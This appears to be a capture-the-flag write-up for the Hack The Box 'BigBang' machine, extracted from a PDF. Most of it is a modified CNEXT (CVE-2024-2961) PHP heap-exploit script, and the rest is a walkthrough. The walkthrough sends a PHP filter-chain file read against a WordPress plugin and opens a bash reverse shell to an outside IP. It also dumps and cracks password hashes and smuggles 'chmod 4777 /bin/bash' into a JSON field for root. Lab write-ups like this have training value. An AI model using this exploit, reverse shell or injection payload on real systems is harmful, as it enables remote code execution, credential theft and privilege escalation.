Big Bang
Big Bang
BigBang
Port Scan
┌──(kali㉿kali)-[~/HTB/BigBang]
└─$ nmap -sV -A -T4 -p- 10.129.206.242 -o port_scan
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-25 14:21 EST
Nmap scan report for 10.129.206.242
Host is up (0.078s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux;
protocol 2.0)
| ssh-hostkey:
| 256 d4:15:77:1e:82:2b:2f:f1:cc:96:c6:28:c1:86:6b:3f (ECDSA)
|_ 256 6c:42:60:7b:ba:ba:67:24:0f:0c:ac:5d:be:92:0c:66 (ED25519)
80/tcp open http Apache httpd 2.4.62
|_http-title: Did not follow redirect to http://blog.bigbang.htb/
|_http-server-header: Apache/2.4.62 (Debian)
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5
OS details: Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: Host: blog.bigbang.htb; OS: Linux; CPE:
cpe:/o:linux:linux_kernel
FootHold
On port 80:
1 / 29
BigBang
┌──(kali㉿kali)-[~/HTB/BigBang]
└─$ ffuf -c -u "http://blog.bigbang.htb/FUZZ" -w
/usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-
lowercase-2.3-medium.txt
2 / 29
BigBang
┌──(kali㉿kali)-[~/HTB/BigBang]
└─$ wpscan --url http://blog.bigbang.htb
3 / 29
BigBang
This buddyform version seems vulnearble to CVE-2024-2961 , we need to combine this with
this Medium so set url filed with php filter chain:
curl 'http://blog.bigbang.htb/wp-admin/admin-ajax.php' -d
'action=upload_image_from_url&url=php://filter/convert.base64-
encode|convert.iconv.855.UTF7|convert.iconv.CSGB2312.UTF-
32|convert.iconv.IBM-
1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-
32LE|convert.base64-decode|convert.base64-
encode|convert.iconv.855.UTF7|convert.iconv.CP-
AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-
32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-
encode|convert.iconv.855.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM11
33.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-
decode|convert.base64-
encode|convert.iconv.855.UTF7|convert.iconv.CSA_T500.UTF-
32|convert.iconv.CP857.ISO-2022-JP-
3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-
encode|convert.iconv.855.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.
ISO-IR-90|convert.base64-decode|convert.base64-
encode|convert.iconv.855.UTF7|convert.iconv.CP-
AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-
32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-
encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.
CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64
-decode|convert.base64-
encode|convert.iconv.855.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-
U.IBM-932|convert.iconv.SJIS.EUCJP-
WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-
encode|convert.iconv.855.UTF7|convert.base64-decode/resource=../wp-
config.php&id=1&accepted_files=image/gif' -vv
4 / 29
BigBang
5 / 29
BigBang
Ambionics gave us: CVE-2024-2961 but it needs to me modified for this specific case:
class Remote:
"""A helper class to send the payload and download files.
The logic of the exploit is always the same, but the exploit needs to
know how
download files (/proc/self/maps and libc) and how to send the payload.
The code here serves as an example that attacks a page that looks like:
```php
6 / 29
BigBang
<?php
$data = file_get_contents($_POST['file']);
echo "File contents: $data";
```
Tweak it to fit your target, and start the exploit.
"""
response = self.session.get(file_path)
data = response.content[6:]
return data
@entry
@arg("url", "Target URL")
@arg("command", "Command to run on the system; limited to 0x140 bytes")
@arg("sleep", "Time to sleep to assert that the exploit worked. By default,
1.")
@arg("heap", "Address of the main zend_mm_heap structure.")
@arg(
"pad",
"Number of 0x100 chunks to pad with. If the website makes a lot of heap
"
"operations with this size, increase this. Defaults to 20.",
)
@dataclass
class Exploit:
"""CNEXT exploit: RCE using a file read primitive in PHP."""
url: str
command: str
sleep: int = 1
heap: str = None
pad: int = 20
def __post_init__(self):
self.remote = Remote(self.url)
self.log = logger("EXPLOIT")
self.info = {}
8 / 29
BigBang
text = tf.random.string(50).encode()
base64 = b64(b'GIF89a' + text, misalign=True).decode()
path = f"data:text/plain;base64,{base64}"
result = safe_download(path)
if len(set(result).intersection(set(text))) == 0:
msg_failure("Remote.download did not return the test string")
print("--------------------")
print(f"Expected test string: {text}")
print(f"Got: {result}")
print("--------------------")
failure("If your code works fine, it means that the
[i]data://[/] wrapper does not work")
9 / 29
BigBang
PATTERN = re.compile(
r"^([a-f0-9]+)-([a-f0-9]+)\b" r".*" r"\s([-rwx]{3}[ps])\s" r"
(.*)"
)
regions = []
for region in table.split(maps, strip=True):
if match := PATTERN.match(region):
start = int(match.group(1), 16)
stop = int(match.group(2), 16)
permissions = match.group(3)
path = match.group(4)
if "/" in path or "[" in path:
path = path.rsplit(" ", 1)[-1]
else:
path = ""
current = Region(start, stop, permissions, path)
regions.append(current)
else:
failure("Unable to parse memory mappings")
return regions
LIBC_FILE = "./libc.so.6"
# PHP's heap
# Libc
#self.download_file(libc.path, LIBC_FILE)
return region
if not heaps:
failure("Unable to find PHP's main heap in memory")
first = heaps[0]
if len(heaps) > 1:
heaps = ", ".join(map(hex, heaps))
msg_info(f"Potential heaps: [i]{heaps}[/] (using last one)")
else:
11 / 29
BigBang
return first
Keep in mind that we know the address of the main heap, and the
libraries.
ASLR/PIE do not matter here.
The idea is to use the bug to make the freelist for chunks of size
0x100 point
lower. For instance, we have the following free list:
That's step 3.
Now, in order to control the free list, and make it point whereever
we want,
we need to have previously put a pointer at address 0x7fffAABBCCB48.
To do so,
we'd have to have allocated 0x7fffAABBCCB00 and set our pointer at
offset 0x48.
That's step 2.
12 / 29
BigBang
13 / 29
BigBang
The pad blocks just "pad" our allocations so that even if the heap
of the
process is in a random state, we still get contiguous, in order
chunks for our
exploit.
LIBC = self.info["libc"]
ADDR_EMALLOC = LIBC.symbols["__libc_malloc"]
ADDR_EFREE = LIBC.symbols["__libc_system"]
ADDR_EREALLOC = LIBC.symbols["__libc_realloc"]
ADDR_HEAP = self.info["heap"]
ADDR_FREE_SLOT = ADDR_HEAP + 0x20
ADDR_CUSTOM_HEAP = ADDR_HEAP + 0x0168
CS = 0x100
step1_size = 1
step1 = b"\x00" * step1_size
step1 = chunked_chunk(step1)
step1 = chunked_chunk(step1)
step1 = chunked_chunk(step1, CS)
step1 = compressed_bucket(step1)
step2_size = 0x48
step2 = b"\x00" * (step2_size + 8)
step2 = chunked_chunk(step2, CS)
step2 = chunked_chunk(step2)
step2 = compressed_bucket(step2)
14 / 29
BigBang
step3_size = CS
step4_size = CS
step4 = b"=00" + b"\x00" * (step4_size - 1)
step4 = chunked_chunk(step4)
step4 = chunked_chunk(step4)
step4 = chunked_chunk(step4)
step4 = compressed_bucket(step4)
0,
0,
0,
ADDR_HEAP, # 0x140
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
size=CS,
)
step4_custom_heap = ptr_bucket(
ADDR_EMALLOC, ADDR_EFREE, ADDR_EREALLOC, size=0x18
)
step4_use_custom_heap_size = 0x140
COMMAND = self.command
COMMAND = f"kill -9 $PPID; {COMMAND}"
if self.sleep:
COMMAND = f"sleep {self.sleep}; {COMMAND}"
COMMAND = COMMAND.encode() + b"\x00"
assert (
len(COMMAND) <= step4_use_custom_heap_size
), f"Command too big ({len(COMMAND)}), it must be strictly inferior
to {hex(step4_use_custom_heap_size)}"
COMMAND = COMMAND.ljust(step4_use_custom_heap_size, b"\x00")
step4_use_custom_heap = COMMAND
step4_use_custom_heap = qpe(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = compressed_bucket(step4_use_custom_heap)
pages = (
step4 * 3
+ step4_pwn
+ step4_custom_heap
+ step4_use_custom_heap
16 / 29
BigBang
+ step3_overflow
+ pad * self.pad
+ step1 * 3
+ step2_write_ptr
+ step2 * 2
)
resource = compress(compress(pages))
resource = b64(resource) #b64(pages)
resource = f"data:text/plain;base64,{resource.decode()}"
filters = [
# Create buckets
"zlib.inflate",
"zlib.inflate",
return path
@inform("Triggering...")
def exploit(self) -> None:
path = self.build_exploit_path()
start = time.time()
try:
msg_print("Sending exploit...")
print(f'PATH: {path}')
17 / 29
BigBang
self.remote.send_exploit(path)
except (ConnectionError, ChunkedEncodingError):
pass
msg_print()
if not self.sleep:
msg_print(" [b white on black] EXPLOIT [/][b white on green]
SUCCESS [/] [i](probably)[/]")
elif start + self.sleep <= time.time():
msg_print(" [b white on black] EXPLOIT [/][b white on green]
SUCCESS [/]")
else:
# Wrong heap, maybe? If the exploited suggested others, use
them!
msg_print(" [b white on black] EXPLOIT [/][b white on red]
FAILURE [/]")
msg_print()
return bucket
start: int
stop: int
permissions: str
path: str
@property
def size(self) -> int:
return self.stop - self.start
Exploit()
┌──(cnext-exploits-i69-TIyW)─(kali㉿kali)-[~/HTB/BigBang]
└─$ python3 rce.py http://blog.bigbang.htb/wp-admin/admin-ajax.php 'bash -c
"bash -i >& /dev/tcp/10.10.16.65/9092 0>&1"'
19 / 29
BigBang
On listening netcat:
20 / 29
BigBang
The DB relies on 172.17.0.1, we can query it trough the following php script:
echo "<?php
\$host = '172.17.0.1';
\$username = 'wp_user';
\$password = 'wp_password';
\$database = 'wordpress';
if (\$mysqli->connect_error) {
die('Connection failed: ' . \$mysqli->connect_error);
}
\$mysqli->close();
?>" > test2.php
ID: 1
Username: root
Email: [email protected]
Display Name: root
Password Hash: $P$Beh5HLRUlTi1LpLEAstRyXaaBOJICj1
-----------------------------------
ID: 3
Username: shawking
Email: [email protected]
Display Name: Stephen Hawking
Password Hash: $P$Br7LUHG9NjNk6/QSYm2chNHfxWdoK./
22 / 29
BigBang
shawking:quantumphysics
userflag:a2cef0ebeae72476ef0d340da225b249
Privilege Escalation
23 / 29
BigBang
Forward port 9090 and 3000, on the second one we have grafana:
Copy /etc/grafana/grafana.db:
24 / 29
BigBang
Convert this hashes in suitable format for hashcat using grafana2hashcat, craft an
hashes.txt file:
┌──(kali㉿kali)-[~/HTB/BigBang/grafana2hashcat]
└─$ cat hashes.txt
441a715bd788e928170be7954b17cb19de835a2dedfdece8c65327cb1d9ba6bd47d70edb7421
b05d9706ba6147cb71973a34,CFn7zMsQpf
7e8018a4210efbaeb12f0115580a476fe8f98a4f9bada2720e652654860c59db93577b12201c
0151256375d6f883f1b8d960,4umebBJucv
┌──(kali㉿kali)-[~/HTB/BigBang/grafana2hashcat]
└─$ hashcat -m 10900 hashcat_hashes.txt --wordlist
/usr/share/wordlists/rockyou.txt
25 / 29
BigBang
sha256:10000:NHVtZWJCSnVjdg==:foAYpCEO+66xLwEVWApHb+j5ik+braJyDmUmVIYMWduTV3
sSIBwBUSVjddb4g/G42WA=:bigbang
26 / 29
BigBang
We have forwarded also port 9090, which seems to have /command and /login:
Both only accepts posts request, and command requires an authentication token, so try to
use login with developer credentials:
┌──(kali㉿kali)-[~/HTB/BigBang]
└─$ curl -X POST http://localhost:9090/login -H "Content-type:
application/json" -d "{\"username\":\"developer\",
\"password\":\"bigbang\"}"
--------------------------------------------------------------
{"access_token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsIm
27 / 29
BigBang
lhdCI6MTczODA2MTM1MywianRpIjoiMTI3MTRmYmItOTFkMS00ODFjLWFhMDgtMzMwYWEyYWJmMW
M0IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImRldmVsb3BlciIsIm5iZiI6MTczODA2MTM1MywiY3
NyZiI6ImFiZjY0NmZjLThkMmQtNDkzZC04NGVkLWRjMzZkZTM2ODZmNCIsImV4cCI6MTczODA2ND
k1M30.9KALi-5Exe6W0u-FBhVsy-if1Mfm3YW-m1Yn3z7ETk8"}
Now by JADX:
┌──(kali㉿kali)-[~/HTB/BigBang]
└─$ curl -X POST http://localhost:9090/command -H "Content-type:
application/json" -H "Authorization: Bearer
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczODA2MTM
1MywianRpIjoiMTI3MTRmYmItOTFkMS00ODFjLWFhMDgtMzMwYWEyYWJmMWM0IiwidHlwZSI6ImF
jY2VzcyIsInN1YiI6ImRldmVsb3BlciIsIm5iZiI6MTczODA2MTM1MywiY3NyZiI6ImFiZjY0NmZ
jLThkMmQtNDkzZC04NGVkLWRjMzZkZTM2ODZmNCIsImV4cCI6MTczODA2NDk1M30.9KALi-
5Exe6W0u-FBhVsy-if1Mfm3YW-m1Yn3z7ETk8" --data '{"command":"send_image",
"output_file":"\nchmod 4777 /bin/bash"}'
On developer's SSH:
28 / 29
BigBang
rootflag:e94d1652eadb3ec9279ee55a19c8f218
29 / 29